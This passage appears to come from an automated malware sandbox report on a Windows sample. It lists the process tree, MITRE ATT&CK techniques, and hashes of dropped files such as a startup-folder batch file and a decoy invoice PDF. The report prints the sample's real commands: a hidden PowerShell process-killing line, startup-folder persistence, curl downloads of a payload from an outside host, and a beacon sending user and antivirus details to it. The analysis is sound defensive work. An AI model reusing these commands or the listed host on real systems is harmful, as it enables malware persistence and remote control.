      4⤵
      Delays execution with timeout.exe
      PID:3836
  - - C:\Windows\System32\NETSTAT.EXE
      "C:\Windows\System32\netstat.exe" -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      Suspicious use of AdjustPrivilegeToken
      PID:1168
  - - C:\Windows\system32\findstr.exe
      findstr /i "ESTABLISHED"
      4⤵
      PID:2448
  - - C:\Windows\system32\findstr.exe
      findstr /i "4452 45602 3232"
      4⤵
      PID:4744
  - - C:\Windows\System32\timeout.exe
      "C:\Windows\System32\timeout.exe" /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$me=$PID; $w=(Get-CimInstance Win32_Process -Filter \"ProcessId=$me\").ParentProcessId; Get-CimInstance Win32_Process -Filter \"Name='cmd.exe'\" | Where-Object { $_.ProcessId -ne $w -and $_.CommandLine -match 'tmp_t|iv\.bat' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\wcache.bat"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2748
    - - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -sfk -L --connect-timeout 8 --max-time 90 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\wcache.nw" "https://aelcms.com/inv/g.txt?u20166"
        5⤵
        
        PID:1228
    - - C:\Windows\system32\PING.EXE
        
        ping -n 1801 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2924
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=general&h=lx30de664fe57b&c=Admin&a=Defender/None"
      4⤵
      PID:1264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 1faf1663e4d299f5bfec2d380e84f5b0254189704ca652acbf1ac632b3adb5de
MD5 4f0fc900d799fbc64faf8312280d64ce
SHA1 461b161b26ee70ae6230bbbd9fedead4aa37b5b7
SHA512 272e5923f23c71523f7c750f66a2232cec8d8c843f43d92d7d460e0e819f18d6d3e114e94af2fb8577a657f637896f69181d1e61af8a429e4db97326c7126e7c
SSDEEP 384:ije+dThatELJ8SWvDTuGmQgZsLglKhubvGZsLRZh+vS4:ic+eUZsLQCZsL3hUS4
TLSH
T16F53CBDB26348040CA07A8BBADB5731BB662D0BFC1C6F1E87E858A1780F453D9775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 ae0ed49d01f2bb198686b85135100266115de72222fd3eaadd7ab7c9b3951508
MD5 808b5cb0e12ff486b414fd931357260f
SHA1 530825aa463a01dfe238e5264c4af740bec0fbee
SHA512 84a39775424feb83cff296c5d7066533a8b3190e39a18d370adc3edccd308228fc781f0f8b86f50f872bc06ee72ddb47378119e0e57ebfa5562c20620946b825
MD5 SHA1 SHA512

Submit Download

rechnung.pdf

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rechnung.pdf
Size 3KB
SHA256 fc51e8f7e3990bb21f16158970be6e211c21c5d9b29fad194154c60452e57cd0
MD5 9dcdb8398e2cc9981413f8f9403f7fba
SHA1 a104fea425e7f8eb717b6dd81e74c5bf95366df1
SHA512 c7fdb19171bbfca08873c84cc26218d9c75f130bc6f8f6fe8b0d4ee9fd1549ad5e609395caf2a6091be1bce725ced370806a46d60c4ae819a9a2974fb09b0c72
TLSH
T1D351D729AA38180CDD82CD84976ABDEA11BF7132A7C474D4416D8FC0BC5E72DEE12597
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5cuw5hj4.ky1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5cuw5hj4.ky1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wcache.bat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\wcache.bat
Size 698B
SHA256 b0a83f4631f500ce44ecb3881d510231254fb8d85978765f818fcb389cabf621
MD5 d6a5e69a3a007c023304d3e49a0c73c5
SHA1 7fdcb36f6e5f60dd968b0d0d1498e21ada812f7a
SHA512 06ff04e1451b76cdbc84b7c0cb859717efe11a0830b800f5346f84f2374c5812b4ac75d32fd03eb2f41c06184743425fc64fee6efd3513b05148e090c1b4ffca
TLSH
T1A30197D24079C82AC838642242BF124AE665A12B7F00FBC29342A05DA04378DE5DF1CA
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2248-1-0x000001EB64690000-0x000001EB646A0000-memory.dmp

Download

memory/2248-0-0x000001EB64690000-0x000001EB646A0000-memory.dmp

Download

memory/2248-9-0x000001EB66940000-0x000001EB66962000-memory.dmp

Download

memory/4848-76-0x000002CFC4850000-0x000002CFC487A000-memory.dmp

Download

memory/4848-77-0x000002CFC4850000-0x000002CFC4874000-memory.dmp

Download